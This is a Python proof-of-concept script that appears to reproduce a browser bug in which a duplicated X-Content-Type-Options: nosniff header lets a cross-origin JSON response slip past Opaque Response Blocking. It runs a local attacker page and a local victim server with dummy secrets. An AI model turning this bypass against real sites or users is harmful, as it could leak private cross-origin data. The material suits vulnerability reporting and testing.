#!/usr/bin/env python3
"""
POC server for ORB HasNoSniff multi-value X-Content-Type-Options bypass.

Runs two HTTP servers (different origins):
  - Attacker origin: 127.0.0.1:9090  -> serves poc.html
  - Victim   origin: 127.0.0.1:9091  -> serves cross-origin JSON

Victim endpoints:
  /single.json  -> ONE  'X-Content-Type-Options: nosniff' header  (control: ORB should BLOCK)
  /double.json  -> TWO  'X-Content-Type-Options: nosniff' headers (bug:     ORB should BLOCK but ALLOWS)

Both bodies are JSON arrays starting with '[' so they bypass all ORB body
sniffers (HTML/XML/JSON-dict/parser-breaker) and reach the default kAllow.
"""

import http.server
import socketserver
import threading

ATTACKER_PORT = 9090
VICTIM_PORT   = 9091

SECRET_BODY = b'[{"email":"secret@victim.example","token":"abc123"}]\n'

POC_HTML = b"""<!DOCTYPE html>
<html>
<head><title>ORB nosniff multi-value bypass</title></head>
<body>
<h2>ORB HasNoSniff multi-value bypass</h2>
<pre id="log"></pre>
<script>
const log = m => {
  document.getElementById('log').textContent += m + '\\n';
  console.log(m);
  document.title = 'POC: ' + m;
};

function loadImg(name, url) {
  return new Promise(res => {
    const img = new Image();
    img.onload  = () => { log(name + ': onload (body reached renderer)'); res(); };
    img.onerror = () => { log(name + ': onerror'); res(); };
    img.src = url;
  });
}

(async () => {
  log('Attacker origin: ' + location.origin);
  log('Loading cross-origin JSON via <img> (no-cors)...');
  // Control: single XCTO header -> ORB blocks -> net::ERR_BLOCKED_BY_ORB
  await loadImg('single-nosniff (control)', 'http://127.0.0.1:%d/single.json');
  // Bug: duplicate XCTO header -> HasNoSniff()=false -> sniffs -> kAllow
  await loadImg('double-nosniff (bug)    ', 'http://127.0.0.1:%d/double.json');
  log('done');
})();
</script>
</body>
</html>
""" % (VICTIM_PORT, VICTIM_PORT)


class AttackerHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/poc.html' or self.path == '/':
            self.send_response(200)
            self.send_header('Content-Type', 'text/html')
            self.send_header('Content-Length', str(len(POC_HTML)))
            self.end_headers()
            self.wfile.write(POC_HTML)
        else:
            self.send_error(404)

    def log_message(self, fmt, *args):
        print('[attacker:%d] %s' % (ATTACKER_PORT, fmt % args))


class VictimHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/single.json':
            self._send_json(nosniff_count=1)
        elif self.path == '/double.json':
            self._send_json(nosniff_count=2)
        else:
            self.send_error(404)

    def _send_json(self, nosniff_count):
        # Write raw headers manually so we can emit duplicate header lines
        # (http.server's send_header would also work since it doesn't merge,
        #  but be explicit to make the wire format obvious).
        self.wfile.write(b'HTTP/1.1 200 OK\r\n')
        self.wfile.write(b'Content-Type: application/json\r\n')
        for _ in range(nosniff_count):
            self.wfile.write(b'X-Content-Type-Options: nosniff\r\n')
        self.wfile.write(b'Content-Length: %d\r\n' % len(SECRET_BODY))
        self.wfile.write(b'Connection: close\r\n')
        self.wfile.write(b'\r\n')
        self.wfile.write(SECRET_BODY)

    def log_message(self, fmt, *args):
        print('[victim:%d]   %s' % (VICTIM_PORT, fmt % args))


class ReusableTCPServer(socketserver.TCPServer):
    allow_reuse_address = True


def serve(port, handler):
    httpd = ReusableTCPServer(('127.0.0.1', port), handler)
    print('listening on http://127.0.0.1:%d' % port)
    httpd.serve_forever()


if __name__ == '__main__':
    threading.Thread(target=serve, args=(VICTIM_PORT, VictimHandler),
                     daemon=True).start()
    serve(ATTACKER_PORT, AttackerHandler)
